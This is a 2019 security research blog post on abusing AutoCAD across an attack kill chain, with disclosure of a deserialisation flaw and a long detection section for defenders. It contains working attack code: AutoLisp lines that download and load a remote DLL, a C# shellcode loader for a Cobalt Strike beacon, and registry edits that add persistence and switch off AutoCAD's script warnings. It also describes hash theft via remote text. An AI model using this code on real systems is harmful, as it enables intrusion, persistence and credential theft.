AutoCAD - Designing a Kill Chain

By Matt Hillman and Tim Carrington on 22 February, 2019

Matt Hillman and Tim Carrington

22 February, 2019

Introduction

MWR identified software vulnerabilities and native features in AutoDesk’s AutoCAD software suite that can be used to compromise users and perform numerous attacker actions. These issues were identified during a research project aimed at determining how a widely deployed product could be leveraged by adversaries in a targeted attack. The focal point of this research was to identify native functionality in a ubiquitous third party product that could be abused at each phase of the Cyber Kill Chain [1].

This blog post will provide an understanding of the process of conducting a targeted attack in this manner. MWR chose a high-value industry as the target and identified AutoCAD as a ubiquitous software suite for that industry. A period of research was then conducted to match native functionality with the requirements for successfully completing particular phases of the Cyber Kill Chain. Through a combination of a previously unseen vulnerability in AutoCAD and a variety of native functionalities, MWR will demonstrate that AutoCAD can be leveraged by an attacker to perform almost every stage of the kill chain.

Third party software has been the root cause of a number of high-profile compromises, and continues to be targeted by attackers as an approach to compromising organisations. The supply chain risks associated with third party software continue to present an active threat to organisations. However, there has also been an observed shift in attackers specifically targeting the active exploitation of ubiquitous third party software in order to deliver specialised payloads to high-value targets. 

Heightened security controls employed by such targets are also forcing adversaries to identify less common attack vectors. Files associated with the most popular software packages and typically used in more widespread phishing attacks are being scrutinised more heavily. In order to carry out a successful campaign, attackers are therefore having to act in a far more targeted fashion.

Attacks in the Wild

There have been multiple high profile targeted attacks leveraging non-mainstream third party software over the last 5 years [2]. It is evident from these attacks that adversaries are spending considerable resources assessing the applications their target organisation uses.

NotPetya

The first and possibly most impactful case of compromise through third party software we will look at is NotPetya. The attack vector in this instance was through the supply chain. For the purposes of this research, NotPetya provides a good example of adversaries targeting ubiquitous software – in this instance M.E.Doc. This software, used for accounting purposes and directly linked to Ukraine’s tax system, was present in roughly 80% of organisations [3]. From an attacker’s perspective, it is clear that any high value target in Ukraine would most likely make use of this software.

VANXATM

Similar to the attack vectors described in the NotPetya attack, the VANXATM compromise of an ATM operator occurred through a third party AntiVirus software suite. This attack leveraged an 0day in the AntiVirus software as well as a misconfiguration of the update server to infect multiple ATMs and steal a variety of sensitive information.

BitCoin Exchange

This attack leveraged a ubiquitous word processor in Korea - Hangul Word Processor (HWP). A vulnerability in the GhostScript engine in this software was combined with spearphishing to compromise at least 4 BitCoin exchanges. As a direct result of the vulnerability used in this campaign GhostScript support was removed from HWP in later versions.

AutoCAD

AutoCAD is a good example of a ubiquitous software suite that is used in a variety of industries. As the chart below shows, it is the market leader in Computer Aided Design (CAD) software [4].

Furthermore, AutoCAD is deployed in many industries attackers would view as high value:

Previous AutoCAD Attacks

AutoCAD has been the target of at least two attacks in recent years. In November of 2018 ForcePoint released research pertaining to AutoCAD’s use by adversaries attempting to compromise architectural organisations [5]. This attack targeted AutoCAD users through the AutoLisp functionality. Specifically, the attackers leveraged how AutoCAD loads certain scripts on application start-up based on their name and location.

Prior to the attacks in 2018, the ACAD/Medre.A malware was the most prevalent in relation to AutoCAD. This malware was well documented by ESET in 2012 [6]. This attack also made use of how AutoCAD loaded various scripts based on their name and location, and was used to steal potentially valuable drawing files such as architectural designs.

Whilst these attacks were documented as advanced, this blog post will demonstrate that AutoCAD provides far more reliable exploitation vectors than those previously seen. In both cases described, an adversary would have to coerce the victim into loading the scripts into AutoCAD and hope the user ignores any warning prompts. Moreover, neither attack was documented to use AutoCAD specific functionality for persistence or lateral movement. These are further attack vectors we will demonstrate are available to be leveraged.

Research Approach

Much like any research project the initial approach to testing was to first map AutoCAD’s attack surface. The aim of this phase was to identify functionality to target in later stages of testing. Following on from this, MWR attempted to determine what functionality could allow us to achieve an objective during a specific phase of the kill chain.

For example, one of the initial aims of a targeted attack is to deliver a malicious payload to a victim. We therefore began our research focusing on identifying delivery mechanisms native to AutoCAD, such as proprietary file formats. These file formats were then analysed further for the purposes of weaponisation/exploitation. Finally, we enumerated opportunities for privilege escalation and persistence should we gain an initial foothold on an AutoCAD user.

Overall, our research was focused on the achieving the following objectives:

  • Delivery – we aimed to identify custom file formats (such as drawing files) that could be delivered to a target AutoCAD user.
  • Exploitation – we aimed to identify opportunities for native code execution, file format vulnerabilities and local privilege escalation opportunities. The emphasis for this objective was to weaponise the previously identified delivery mechanisms.
  • Persistence – we aimed to determine whether AutoCAD provided the ability to persist through registry keys, auto-run binaries and misconfigured services.
  • Lateral Movement – specifically whether AutoCAD could be leveraged to compromise users beyond our initial victim.

Findings

This section of the blog post provides specific details of our findings, each of which will be mapped to their relevance to phases of the kill chain.

ActionMacros

Stages: Delivery, Exploitation

ActionMacros provide functionality that allows a user to record a set of actions (such as drawing blocks), which are saved to a .actm file and can be replayed later. An example of what this looks like has been provided below whereby a number of “DONUT” objects can be inserted into a drawing through replaying of an ActionMacro.

This functionality can be combined with the abuse of AutoCAD’s built in command line interface to gain code execution when an ActionMacro is replayed. This command line interface allows users to run application specific commands. One such command provides an interface to the Operating System. For example, running the following command would launch a new cmd.exe process:

SHELL “cmd.exe”

The interactions a user makes with this command line utility can be recorded and stored in ActionMacros. If the example above were to be recorded, the resultant ActionMacro would look as such:

ActionMacros are therefore a native functionality of AutoCad that could facilitate exploitation through OS commands.

In an attempt to determine whether the actions within an ActionMacro file could be masked, we decided to inspect the underlying .actm file format. This file was found to be a .NET serialised object as shown in the following hex dump:

Highlighted in red is the length of the first object (of type AutoDesk.AutoCad.MacroRecorder.MacroNode). The green outline highlights the actual object, and the blue is the beginning of the next object.

Further analysis revealed improper handling of these objects within AutoCAD that ultimately allowed arbitrary code execution during the deserialisation process (CVE 2019-7361). This process occurred at the point in which a user selected an ActionMacro to play, prior to actually playing it. This is demonstrated in the following figure.

At this point we could leverage the ActivitySurrogateSelectorFromFile gadget of ysoserial.net by James Forshaw [7]. This would allow us to write a custom C# class that will be executed on exploitation.  

Visual Basic Macros

Stages: Delivery, Exploitation

AutoCAD provides the ability to embed Visual Basic macros in drawing (.dwg) files. Much like Microsoft Office, we could develop a malicious macro and attempt to trick the user into opening our drawing. There is however two problems with this approach:

  • Like MS Office, the user is presented with a warning when this drawing is opened as shown below.We were unable to find a way of getting a macro to run automatically once enabled.
  • We would have to further coerce the target to execute the macro for us. This may not an easy task given how well documented the risks of running macros is.

It should also be noted that in more recent versions of AutoCAD (such as the one we assessed), Visual Basic macro functionality does not come installed by default.

AutoLisp Scripts

Stages: Delivery, Exploitation, Persistence

AutoCAD comes with its own version of the Lisp programming language, AutoLisp/VisualLisp. AutoLisp scripts can be loaded into AutoCad to extend functionality. There a numerous ways to gain code execution through these scripts, for example:

(startapp “powershell.exe –Enc …….”)

Whilst this action would facilitate the execution of PowerShell based payloads, we wanted to determine whether AutoLisp could be leveraged with more advanced payloads as the use of a PowerShell based payload may trigger an alert.

Additional research on this functionality gave insights into two key areas we could abuse: downloading files over HTTP and loading arbitrary DLLs.

  • Downloading files:

(setq acadObj (vlax-get-acad-object))
(setq doc (vla-get-ActiveDocument acadObj))
(setq Utility (vla-get-Utility doc))
(setq URL "http://ip_address/test.dll")
(setq localDest (strcat (GETENV "TEMP") "/temp.dll"))
(vla-GetRemoteFile Utility URL 'DestFile :vlax-true)
(vl-file-copy DestFile localDest)

  • Loading DLLs:

(Command “NETLOAD” <path-to-dll>)

There is a caveat however to the loading of arbitrary DLLs. Attempting to load a Cobalt Strike beacon as a DLL into AutoCAD through the aforementioned method would result in failure. We soon discovered that AutoCAD expected .NET DLLs that had been compiled against its SDK. An example of C# application that would achieve this is as follows:

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.IO;
using Autodesk.AutoCAD.Runtime;
using Autodesk.AutoCAD.ApplicationServices;
using Autodesk.AutoCAD.DatabaseServices;

[assembly: CommandClass(typeof(AutoCad.Program))]
namespace AutoCad
{
class Program
{
private static UInt32 MEM_COMMIT = 0x1000;

private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[CommandMethod("StartBeacon")]
public static void StartBeacon()
{
byte[] CS_Payload = {…}; //insert payload here

UInt32 func = VirtualAlloc(0, (UInt32)CS_Payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //RWX memory not a great idea
Marshal.Copy(CS_Payload, 0, (IntPtr)(func), CS_Payload.Length);

IntPtr thread_handle = IntPtr.Zero;
UInt32 thread_id = 0;

IntPtr pinfo = IntPtr.Zero;

thread_handle = CreateThread(0, 0, func, pinfo, 0, ref thread_id);
}
<…Snipped DLL imports…>
}

Within AutoCAD, or as part of an AutoLisp script, we could then run the “StartBeacon” command to execute our function.

At this point we have the ability to download a payload remotely and load it into AutoCAD. However, it was observed that due to settings stored in the Windows registry, two further problems had arisen:

  • The vla-GetRemoteFile function is prohibited by default on modern AutoCAD versions through a registry key.
  • Through a second registry key any AutoLisp code that is not signed, or loaded from a non-trusted path, presents a warning to the user as shown below.

As an additional problem the malicious use of AutoLisp scripts was found to be a well-documented threat, as described in the AutoCAD specific attacks mentioned earlier in this post.

Further research revealed AutoLisp scripts to be more suitable for persistence. AutoCAD has multiple registry keys that determine how it loads, what it loads, what recent files it has loaded and a wide range of configuration options. The majority of the keys that are interesting from an attacker’s perspective are found within the user hive (HKCU), and so are writeable by the user we have compromised.

The first registry key that is important is the StartUp key:

HKEY_CURRENT_USER\Software\AutoDesk\AutoCAD\R23.0\ACAD-2001:409\Profiles\<<unnamed profile>>\Dialogs\AppLoad\StartUp

In AutoCAD, this registry key determines the “Startup Suite”. Essentially, the user is able to configure AutoCAD to load a number of AutoLisp scripts when the application starts, as well as whenever a new drawing is opened. In the figures below, we have added two simple AutoLisp scripts to this registry key that use the startapp function to run cmd.exe and calc.exe. 

Combining this with the ability to load .NET DLLs, we can leverage this vector to contact a staging server, download a DLL that injects an implant into memory and then load it into AutoCAD. This is achieved with the following AutoLisp code:

(setq acadObj (vlax-get-acad-object))
(setq doc (vla-get-ActiveDocument acadObj))
(setq Utility (vla-get-Utility doc))
(setq URL "http://ip_address/test.dll")
(setq localDest (strcat (GETENV "TEMP") "/temp.dll"))
(vla-GetRemoteFile Utility URL 'DestFile :vlax-true)
(vl-file-copy DestFile localDest)
(Command “NetLoad” localDest)
(Command “startBeacon”)

As previously mentioned a registry key was preventing the use of the vla-GetRemoteFile function in AutoLisp. This registry value is located at:

HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R23.0\ACAD-2001:409\Profiles\<<Unnamed Profile>>\Variables\SECUREREMOTEACCESS

Setting this value to 0 allows us to use the previously disabled function. Furthermore, the aforementioned warning prompts relating to potentially malicious AutoLisp scripts are also configured through registry keys in the user hive. These warnings can be disabled by setting the SECURELOAD value within the Variables key to 0.

Stealing NetNTLM Hashes

Stages: Delivery, Exploitation, Lateral Movement

AutoCAD drawings have a concept known as “Remote Text”. This text can be embedded in a drawing, and is dynamically loaded every time that drawing is opened. These remote resources can be a UNC path, and so if SMB is allowed outbound from an organisation, we have the ability to steal Net-NTLM hashes:

Whilst Net-NTLM hashes cannot be relayed back to the same system, they can be relayed to other systems (with SMB signing being turned off as a caveat). We could also leverage this in a credential harvesting attack.

It should be noted that this attack vector was highlighted by the NCSC in April 2018 [8]. Advanced Persistent Threats targeting the UK’s Critical National Infrastructure were observed to be embedding UNC paths in .LNK files and luring victims to view those files through spearphishing and watering hole attacks. Captured hashes were then either replayed to exposed network services or cracked offline. Any successfully recovered credentials were used to access the target’s network through VPN or RDP.

Example Attack - Compromising AutoCAD Users

In order to demonstrate the full impact of our findings, we will perform a theoretical targeted attack on a mock company – the Epic Engineering Corporate, or EEC. This section of the blog post will align previously described findings with stages of the Cyber Kill Chain. Specifically, we will demonstrate our findings facilitate successful completions of: Weaponisation, Delivery/Exploitation, Persistence and Lateral Movement.

Recon

Prior to conducting an active attack on the EEC, we must first perform reconnaissance. The aim of this phase of the operation is to compile a list of employees for the use in the delivery phase. Specialist software requires specialist skill, and some basic OSINT can be used to identify employees of a company who are most likely to be AutoCAD users.

For example, LinkedIn can be used to enumerate users with the “AutoCAD” skill, of which there are currently around 6 million. The deployment of AutoCAD within an organisation can further be identified through job adverts or associating employees with certain CAD skills with their employer.

The reconnaissance phase should also aim to identify avenues of delivery aside from spearphishing. Ubiquitous software can often be found to have a community associated with it. This community may make use of official and unofficial forums, browse product specific journals, or use social media in a particular way – much like the InfoSec industry and Twitter.

AutoCAD is a good example of this concept. AutoDesk provides official forums for users to ask questions and share information. There are also a number of unofficial forums that directly reference AutoCAD. Moreover, due to the complex nature of the application itself, many users may look to platforms such as YouTube for tutorials.

In each of these instances an adversary may be able leverage the official capacity of a platform owner (such as AutoDesk and their forums) to facilitate a watering hole attack. As an example of this, we posted a seemingly innocuous query to the official AutoCAD forums to determine how active they were. As a secondary aim, we wanted to gain an understanding as to whether users were aware of the threats associated with a file format we knew could be used to gain code execution.

Weaponisation

Assuming we have identified targets within the EEC, we must now take the findings of our research and weaponise them into a deliverable payload. We have identified a number of vectors that could leveraged to compromise end users, and decide to make use of UNC paths in drawings for credential harvesting/relaying as well as the ActionMacro 0day.

The resultant weaponised payload therefore is a drawing (.dwg) file with “Remote Text” embedded pointing to an SMB server under our control. This would be delivered alongside a malicious ActionMacro (.actm) file exploiting CVE-2019-7361 to gain arbitrary code execution. As discussed in the next section, this payload can then be delivered through a spearphishing campaign.

Finally, we incorporate registry access functionality within our exploit to install persistence on the victim system. Our final ActionMacro file is a serialised .NET object containing some of the following functionality:

  • Interact with the Windows registry to install persistence as such

RegistryKey rk = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, 
RegistryView.Default).OpenSubKey("Software\\AutoDesk\\AutoCAD\\R23.0\\ACAD-2001:409\\Profiles\\<<unnamed profile>>\\Dialogs\\AppLoad\\StartUp", true);

//Determine how many StartUp scripts are already installed and increment by 1
int num = int.Parse((String)rk.GetValue("NumStartup"));
num += 1;
string new_value = String.Format("{0}Startup", num);

//Install persistence
rk.SetValue("NumStartup", num.ToString());
rk.SetValue(new_value, "%USERPROFILE%\\" + persistence_file, RegistryValueKind.ExpandString);

rk = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser,RegistryView.Default).OpenSubKey("Software\\AutoDesk\\AutoCAD\\R23.0\\ACAD-2001:409\\Profiles\\<<unnamed profile>>\\Variables", true);

//Disable security controls
rk.SetValue("SECURELOAD", "0");
rk.SetValue("SECUREREMOTEACCESS", "0");
rk.Close();

  • Download and write the AutoLisp script to disk

HttpResponseMessage resp = await client.GetAsync("http://webserver.net/" + persistence_file);
string content = await resp.Content.ReadAsStringAsync();
string full_path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\" + persistence_file;
File.WriteAllText(full_path, content);

  • Create a thread with our Cobalt Strike beacon payload in memory

byte[] CS_Payload = {<…Snipped…>}

UInt32 func = VirtualAlloc(0, (UInt32)CS_Payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(CS_Payload, 0, (IntPtr)(func), CS_Payload.Length);

IntPtr thread_handle = IntPtr.Zero;
UInt32 thread_id = 0;
IntPtr pinfo = IntPtr.Zero;
thread_handle = CreateThread(0, 0, func, pinfo, 0, ref thread_id);

Delivery/Exploitation

At this point we have everything we need to launch our attack on the EEC. The delivery of our payload is almost entirely AutoCAD specific. The file formats used for the attachments in our spearphishing email are uncommon (.actm and .dwg), which should allow us to bypass mail filtering rules. The targeted approach of delivering an application specific payload for a niche software suite may also facilitate the evasion from any active EDR or AV agents. An abstract view of our attack is shown in the following figure.

Upon the target user attempting to play our malicious ActionMacro, we receive a connection back from our beacon:

We also see the victim make a GET request to our HTTP server to download and install the persistence script:

Persistence

With an initial foothold within the EEC, our next objective is to persist on the compromised host. There are numerous attacker actions that could achieve this goal, however we decided to leverage AutoCAD specific attack vectors.

Through manipulation of registry keys, AutoCAD was then instructed to load and execute this script on application start-up. Furthermore, all security warnings with regards to third party scripts had been disabled:

At this point, whenever our initial victim opens a new drawing they unknowingly download a new custom DLL that is loaded into AutoCAD through our AutoLisp script. The following figure shows AutoCAD making requests to our webserver to download “test2.dll” as well as the subsequent beacon connections:

Lateral Movement

With persistence achieved, the final phase of our operation involves laterally moving among other AutoCAD users. There are a number of common TTPs that relate to lateral movement that are not AutoCAD specific, however, as with the previous phases, we wanted to describe one potential attack path that does involve AutoCAD.

During this research MWR conducted a mini-survey involving a number of people known to be using AutoCAD in a commercial environment. A key takeaway from this survey was that it would be likely for AutoLisp scripts to be stored on file shares for central storage. These scripts were used for business logic, or were tools people had developed to be shared amongst the team.

It is a common finding on penetration tests to identify scripts on file shares that lack proper security controls. Should we be able to locate AutoLisp scripts on such a server, and if they were writeable by the user we had compromised, we may be able to compromise other AutoCad users by modifying legitimate AutoLisp code to load our malicious content. A high level overview of this attack is depicted below:

Full Attack Chain

The full attack chain is presented below for reference: 

Bringing in the Blue Team - Threat Hunter's Perspective

This section details how a blue team might go about detecting the AutoCAD attacks detailed above, broken down by attack phase. At the end of the section some insights are provided about the different modes of operation a blue team should be capable of when faced with new Tactics, Techniques and Procedures (TTPs).

Delivery

The file formats used in the attack are not ones commonly associated with phishing, as it is using novel techniques specific to AutoCAD. Before such techniques are known to the blue team then a call must be made as to how restricted to make email filters. Unknown file types could be completely restricted, only allowing certain whitelisted file types through; this may be too restrictive for some organisations and it is something that must be decided based on the business that needs to get done.

Threat hunting is not aimed primarily at preventing attacks, but detecting them, and gathering data and telemetry is what enables that. Instead of blocking unknown file types then, gathering information about them may be an option instead. If a new threat is identified using a new file type it will be a simple matter to work out who else may have been put at risk by seeing who received such a file.

Of course, once the AutoCAD specific techniques are known to the blue team, it is possible to write specific rules about which AutoCAD file can contain dangerous content, and either inspect them to determine if they appear safe, or to deny them by default.

Exploitation – ActionMacros

The most obvious malicious usage of ActionMacros is using the SHELL command to execute arbitrary OS commands. This was not what was used in the final example attack, but we will address it briefly here anyway. Like many macro languages, when external processes are spawned they become child processes of the main application process. In normal usage, AutoCAD would not be expected to spawn lots of processes, so any process telemetry should be able to highlight this through parent/child PID relationships. The severity of this could be heightened if processes commonly associated with attacks are spawned, such as cmd.exe or powershell.exe.

The command line arguments to the child process may also be of interest, especially where a command is spawned that passes shell commands to cmd.exe, or an encoded PowerShell script to powershell.exe. These should probably be highlighted as suspicious even without the AutoCAD parent PID, but it is still important to collect that information as this can help a threat hunter track an attack back to its source, in this case AutoCAD, even if AutoCAD attack TTPs are not yet known or identified explicitly.

The example attack however did not use SHELL, and instead exploited a previously undiscovered serialization vulnerability to gain direct .NET code execution. This avoids spawning a new process, so there will be no suspicious child process of AutoCAD.

Because it is .NET code executing, the blue team can leverage data from various .NET Event Tracing for Windows (ETW) providers as detailed in our previous posts Detecting Malicious Use of .NET part 1 and part 2. This gives us insight into what the .NET code is doing from information provided from the .NET Just-In-Time (JIT) compiler which operates as the code executes.

Malicious code can be highlighted in a number of ways, such as identifying calls commonly associated with attacks, such as VirtualAlloc and CreateThread, which are used in the AutoCAD attack. Picking out some of the particularly suspicious events generated for this attack we see:

JittingStarted, 0x7FE84FC4878, ysoserial.ExploitClass
InliningFailed, ysoserial.ExploitClass, .ctor, Microsoft.Win32.RegistryKey, OpenBaseKey
InliningFailed, ysoserial.ExploitClass, .ctor, Microsoft.Win32.RegistryKey, OpenSubKey
InliningFailed, ysoserial.ExploitClass, .ctor, Microsoft.Win32.RegistryKey, SetValue
InliningFailed, ysoserial.ExploitClass, .ctor, Microsoft.Win32.RegistryKey, SetValue
InliningFailed, ysoserial.ExploitClass, .ctor, ysoserial.ExploitClass, VirtualAlloc
InliningFailed, ysoserial.ExploitClass, .ctor, ysoserial.ExploitClass, CreateThread
InliningFailed, ysoserial.ExploitClass, .ctor, ysoserial.ExploitClass, DownloadPersistence
InliningFailed, ysoserial.ExploitClass+<DownloadPersistence>d__0, System.Net.Http.HttpClientHandler, .ctor
InliningFailed, ysoserial.ExploitClass+<DownloadPersistence>d__0, System.Net.Http.HttpClient, CreateUri
InliningSucceeded, ysoserial.ExploitClass+<DownloadPersistence>d__0, System.Net.Http.HttpResponseMessage, get_Content

This shows registry keys being manipulated, VirtualAlloc and CreateThread being used to execute further native code, and HTTP requests. Further suspicion arises from the names of the functions in the exploit code. In general terms how suspicious these are will depend on the operational security of the attackers, but in this example the ysoserial attack utility was used to generate the payload and its use can be clearly seen, along with the name “ExploitClass”. The function names used also reveal that the HTTP download is part of a persistence mechanism.

With this additional telemetry what would otherwise look simply like a legitimate AutoCAD process is revealed as being exploited in an obviously malicious manner.

Exploitation - AutoLisp

AutoLisp allowed for similar basic malicious usage as ActionMacros, by starting another process with “startapp”. An option that was considered for weaponisation was spawning powershell.exe with an encoded script passed via the -Enc command line argument. Such a powershell command should light up for any blue team as it has been used so widely in attacks in the past, so even without AutoCAD in the equation it would likely be flagged. This should then lead the blue team to investigate why it was a child process of AutoCAD, thus revealing the techniques being employed.

But for the final attack a more stealthy method was chosen, loading a DLL downloaded by the script. This again avoids any unusual child processes showing up on the host. There are still a couple of angles the blue team can use to discover this attack however.
Firstly, proxy logs showing the download of a DLL are suspicious. EDR software may even be able to add data about what process performed the download, which could link this back to AutoCAD for the threat hunter.

Even without the download though, this is a DLL that will be loaded into AutoCAD from an unusual location on disk, and perhaps more importantly it will not be present on most other (as yet uncompromised) AutoCAD installations in the organisation. Here the can come into play, finding a DLL that is loaded by a small fraction of your estate (maybe even a single workstation) makes that DLL suspicious. If EDR can enrich that data to pull back metadata about the DLL and check for hits in Virus Total, so much the better.

Free utilities such as Sysmon can ordinarily give you data on library loads, but in this case the DLL being loaded must be a .NET DLL and these do not always get loaded like native libraries. Here again we turn to our previous posts on Detecting Malicious Use of .NET and leverage ETW to identify the presence of a new .NET assembly in the AutoCAD process.

JittingStarted, AutoCad.Program, .cctor, void()
JittingStarted, AutoCad.Program, StartBeacon, void()

In this example the namespace of AutoCad sounds fairly innocuous, but the function name StartBeacon is very suspicious. The important thing here though is this assembly will not have been seen before and will (at least initially) only be on a small number of machines.

In this attack, the .NET DLL is really just a wrapper around a native code Cobalt Strike payload. This of course is not a requirement of exploiting this aspect of AutoCAD, but it is common for attackers to quickly pivot from an exploit-specific payload to their general attack toolchain. Because of this, a new suspicious memory page is allocated to contain and execute the native payload from. This page is allocated with PAGE_EXECUTE_READWRITE permissions, which is a common red flag for some form of code injection. More information on this kind of technique can be found in out Memory Analysis whitepaper.

Persistence

The attack used an AutoLisp script for persistence, but the real persistence mechanism was modifying AutoCAD specific registry keys to load this script on start up.

It would be difficult to detect this as a malicious persistence mechanism without knowledge of how AutoCAD operates. It is possible to record telemetry of registry operations, for example with Sysmon’s registry event IDs 12, 13, and 14, but this would produce a large amount of data and a lot of noise. If an application modifies its own settings, there is nothing generic in this behaviour that suggests a problem, and it is probably not the best use of a threat hunter’s time to audit every instance of this.

That is why this kind of attack research is still important. It provides insight into additional locations in registry that can be monitored specifically for persistence. Once the technique becomes known to the blue team they should have the ability to perform a sweep across the estate to hunt for any existing instances of it.

Lateral Movement

The example attack backdoored AutoLisp scripts on a central file store that was used by all AutoCAD users. This would cause many of the above indicators appearing on more machines, so with careful tracking of an incident as it progresses lateral movement can be mapped out.

But to truly detect lateral movement, as opposed to just similar exploitation on other machines, we would want to see that a write operation to AutoCAD central file share is rare from a workstation of a general AutoCAD user. This would require analysis of either logs on the file share, or network information showing the communication between hosts, and statistics that can highlight anomalous cases.

Final Blue Team Insights

To be effective, the blue team needs visibility into as much of the kill chain as possible. Some techniques may be more challenging to detect than others, particularly at scale, either due to the difficulty of obtaining the relevant telemetry with existing toolsets, or because the telemetry in question simply looks very similar to legitimate behaviour. By having visibility along the whole of the kill chain it is much more likely that an attack will be detected in at least one of the stages. The goal of course, is to see it at as many stages as possible, the earlier the better.

With this in mind, there are several types of activity a blue team should be capable of:

  • Live detection of attacks with generic indicators, even if the specific TTPs of the particular attack are unknown beforehand.
  • Live detection of a specific kind of attack with analytic rules designed to highlight it.
  • Sweeping for evidence of a specific attack having occurred in the past, once its particular TTPs become known.

As an attack proceeds, it is likely to hit on some general indicators at some stage in the kill chain; common examples include suspicious parent/child process relationships and suspicious executable memory pages. These may not appear in the delivery or exploitation phase of an attack using an unknown vector, but can be hard to avoid once the attack moves beyond this initial foothold. Such detection techniques have a good chance of catching a real world attack even if the specifics of how AutoCAD is being leveraged are not known beforehand.

Once the details of a specific attacks are discovered, there may be opportunities to create specific analytic rules to highlight it. This would be aimed at detecting behaviour specific to AutoCAD and its malicious use, and may be chance for the blue team to catch it earlier in the kill chain, perhaps at the delivery of AutoCAD macro and script files.

Ideally, it should also be possible to search historic telemetry (be it logs, or EDR data etc.) or to directly query endpoints in the estate, to find evidence of a newly discovered attack technique having been used before. This can root out attacks which previously went undetected, or which left as-yet dormant backdoors behind waiting to be used further in a fuller attack. In this example, that could mean sweeping the estate for AutoCAD specific persistence registry keys, AutoCAD macro and script files on disk, or unusual child processes of AutoCAD.

When this AutoCAD research was performed, the threat hunters within MWR’s Managed Detection and Response (MDR) division, Countercept, began a hunt for any abuse of AutoCAD across our clients’ estates along these same lines. Thankfully for our clients, nothing was found.

Conclusion

AutoCAD is good example of a ubiquitous product used in many high value industries that can be abused to perform attacker actions across the kill chain. As highlighted, the targeted approach taken during this research is becoming more prevalent amongst advanced threat actors.

As organisational security controls mature, industry specific third party software will likely be a focal point for adversaries looking to compromise high-value targets. As described, there are numerous risks associated with the deployment of such software within an organisation.

Companies looking to defend against the types of attacks outlined in this post should perform comprehensive threat modelling of ubiquitous and/or niche software suites within their estate. Regular security audits, supply chain risk assessments and application sandboxing are examples of some active defensive measures that can be employed in an effort to mitigate third party software risks.